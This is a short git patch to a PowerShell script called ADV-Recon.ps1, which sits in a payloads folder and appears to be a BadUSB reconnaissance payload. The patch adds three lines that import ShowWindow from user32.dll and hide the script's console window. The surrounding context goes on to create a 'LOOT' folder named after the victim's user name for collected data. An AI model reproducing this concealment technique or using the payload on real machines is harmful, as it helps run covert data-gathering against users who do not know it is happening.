From 2f714f6772cce4b6e796993d2c9f13ea243ab6df Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Mon, 7 Aug 2023 22:28:02 -0500 Subject: [PATCH] Update ADV-Recon.ps1 --- Payloads/Flip-ADV-Recon/ADV-Recon.ps1 | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 b/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 index 4743950..0b337ac 100644 --- a/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 +++ b/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 @@ -32,6 +32,11 @@ ############################################################################################################################################################ +$i = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);'; +add-type -name win -member $i -namespace native; +[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0); + + # MAKE LOOT FOLDER, FILE, and ZIP $FolderName = "$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm)"